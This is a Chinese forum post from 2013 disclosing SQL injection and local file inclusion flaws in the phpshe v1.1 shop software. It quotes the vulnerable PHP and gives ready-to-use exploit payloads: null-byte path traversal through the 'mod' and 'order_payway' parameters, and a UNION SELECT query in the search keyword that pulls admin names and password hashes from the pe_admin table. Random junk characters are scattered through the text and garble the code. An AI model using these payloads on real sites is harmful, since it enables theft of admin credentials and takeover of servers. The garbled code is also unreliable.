找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2651|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/5 J3 |( G" z8 X0 @8 q& J- o
/* Phpshe v1.1 Vulnerability
5 |, X5 ^0 P: E/* ========================
$ o9 p% v3 T( \! z) r- R. V2 p- Z/* By: : Kn1f30 [; F+ K7 u. `5 Q( g  A
/* E-Mail : 681796@qq.com7 T* c" ]. c( t* [* M- P3 W
/*******************************************************/8 P! u" O2 L* k
0×00 整体大概参数传输+ g8 ~0 j: ?4 E% Y( @. }

) n( b$ U  i. v9 K$ U1 u' R9 ^# A4 W/ K3 z3 L' x
+ T  l4 b% E; F# e/ M
//common.php2 A1 e- y4 ~0 `# w. t- w/ B" O3 F
if (get_magic_quotes_gpc()) {% ^7 b: L3 M0 w
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');' o6 P* {8 P( G2 p, y  c; y
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
4 W$ U& W1 U+ E* B+ w/ i}
* u; v  r/ H( O/ ]0 K8 Pelse {
( t+ |) h8 C1 K0 c!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');. e1 g; s4 G; C9 ?9 o, m
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');8 D; w! A9 d- J" Y3 @4 G% Q" v0 B: o2 o
}' j. L! J+ U, `( T
session_start();
, `3 B. F+ y, l!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
$ ~/ z. @7 Y: C( `' v( L% j!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
1 c8 d; ?- _0 |+ h3 ]
/ |8 u/ B- o: X/ u6 b  N4 {0×01 包含漏洞8 j1 v+ D& i. F
; ?7 {$ ^0 o4 y

. n7 Y5 i6 [0 h- l/ s$ C& C//首页文件
. e# F$ @2 s6 ?- g0 [. R1 `7 W2 o- k<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
$ l( Q# m+ n& b- einclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
. m& j4 F9 D$ p. Y1 D# a  ]6 bpe_result();; c" E7 ]2 t0 K) D0 T1 X# a5 _& A
?>) r9 |# L9 j7 g" E2 X* Y
//common 文件 第15行开始
3 N# J' W& r1 q& \) P  hurl路由配置  i2 h. c. a) m5 T4 u
$module = $mod = $act = 'index';0 }# ?6 b& T9 i, {$ R
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
: T4 X0 E7 m! o. U7 M& `- s$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
' g( S3 r6 u( [: H5 \5 J$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
7 f7 E. s2 D# n' K3 W& G//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
' ^& n5 W3 _- \' X


6 d$ X$ g, M8 n3 {) O
7 d+ A' V7 y- \0 ^  t 0×02 搜索注入
9 u; @# V& A  s& b
0 L) D. f  E4 J0 ^1 n" w9 ]<code id="code2">

//product.php文件% ]; o7 Q( H2 `4 Y8 J' F4 O9 ?
case 'list':
; p& Q( w/ C+ v& A; t+ D0 G# m$ x$category_id = intval($id);
9 ]3 u' O7 t7 L( F5 }8 k/ w$info = $db->pe_select('category', array('category_id'=>$category_id));$ G- G/ D( y5 S( h/ k
//搜索
# p- p; _, |/ l$sqlwhere = " and `product_state` = 1";- d$ `( ^" W! g
pe_lead('hook/category.hook.php');
& f5 }) O: X. P5 X. t! xif ($category_id) {2 L( @( C) X3 \9 D5 p! _+ {: }7 n
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";9 |# h+ M3 |0 Z- E( Z
}
: |: [$ K7 ]3 M- T: A) |$ E$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
% p2 b8 `0 Z; M  o& xif ($_g_orderby) {
$ Z1 l3 ^! R' t! M+ s3 L" X( R* v$orderby = explode('_', $_g_orderby);0 P; j- c+ k3 l" z2 ^: I/ ~
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";. z8 @2 l9 I* x7 V, a
}+ t0 p  S) X! d5 @2 r# x% J3 o
else {9 E" [" q/ V9 X
$sqlwhere .= " order by `product_id` desc";
0 i' G4 R0 |7 I4 x' x9 ^" [}
) J$ W" v6 [( B$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
' l1 V" X& h  Z" v# {//热卖排行
" |+ E( W2 i$ G2 ?$product_hotlist = product_hotlist();
: M& s- }  A& |5 J  n//当前路径
( d2 x- A/ O4 P: t& U+ z. t2 x$nowpath = category_path($category_id);
: r" ^! h# J  f& ]. T$seo = pe_seo($info['category_name']);
' u9 I- K& v* Q# V* I" D: O3 v& qinclude(pe_tpl('product_list.html'));6 ^1 ~! h9 v1 J9 R3 S& |4 o: k! _" ~+ A
//跟进selectall函数库* f0 O3 y  G5 T5 `
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())  d. K3 E; w) M2 j
{' c% ~, n' `+ J- A
//处理条件语句8 \0 Q, ^- s  B# d
$sqlwhere = $this->_dowhere($where);: \3 O( {5 _7 s
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
# s/ ]  Y/ J) K& }4 r}
9 D; g. s) S& I3 \( P' j3 t//exp
: u( U6 b6 T' w2 L: wproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
# U( I/ g- V6 U& Z

</code>
, c8 g$ n; ~$ o5 o" x
& s) ^# u/ P/ X0 N- @; p+ @, ?0×03 包含漏洞2$ n; ~/ z, f- E% F0 Q9 H
( \3 M7 a: M3 C; h' M* k
<code id="code3">

//order.php

case 'pay':

/ f0 N- P& ]$ K2 ?; r. v
$order_id = pe_dbhold($_g_id);


) `2 z5 ?1 P) P7 C% I$cache_payway = cache::get('payway');


+ {( k# {) B" W' Z- P: R5 H% ^, vforeach($cache_payway as $k => $v) {

( D, U0 E' F0 H9 b3 o
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


% r4 j" I1 ~9 R5 p( b9 O  rif ($k == 'bank') {

% ^# g# o: A7 F+ Q% }9 T* h
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


1 g- n% Y0 A! s# a}

' t, p$ I- M% w1 @- Z
}


' m. V- T+ }# r$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

  s% h0 Q; H' w3 X/ x- h) u
!$order['order_id'] && pe_error('订单号错误...');

' h& s# v6 g; [. `3 t, U: [
if (isset($_p_pesubmit)) {

  J2 X. W2 [* @) @/ M8 f
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


& o/ s& {- h. J$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

. x7 ^7 U& Y, d, V) u( _
foreach ($info_list as $v) {

7 ~3 r) |1 z9 v, W7 B. J
$order['order_name'] .= "{$v['product_name']};";
& a* T. ~" z; T7 h7 D


; T3 F! y. o8 S2 Q7 Z5 f5 A& J( k}


4 W8 c) b  A5 `! Z0 g6 `! ]& Jecho '正在为您连接支付网站,请稍后...';


% b4 p0 }$ |* B! P5 f. winclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

+ D, I; @4 o$ p$ f* D5 \. |3 f7 e
}//当一切准备好的时候就可以进行"鸡肋包含了"

( I% i( y! U# e" t
else {


5 ]8 R/ ^3 S$ P5 y# g0 gpe_error('支付错误...');


% r9 G( |7 ?4 ?: w+ C1 T# C}


! r/ \) X: T8 u8 k}

- T$ l/ u; L4 H+ F/ `2 ?3 T( U
$seo = pe_seo('选择支付方式');


5 q2 Q( \& G6 Q0 Z- B4 _8 d4 x8 L! Cinclude(pe_tpl('order_pay.html'));


2 d) c5 p+ k! w" B0 p8 j! xbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>. d/ R. a3 D& N) c+ r

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表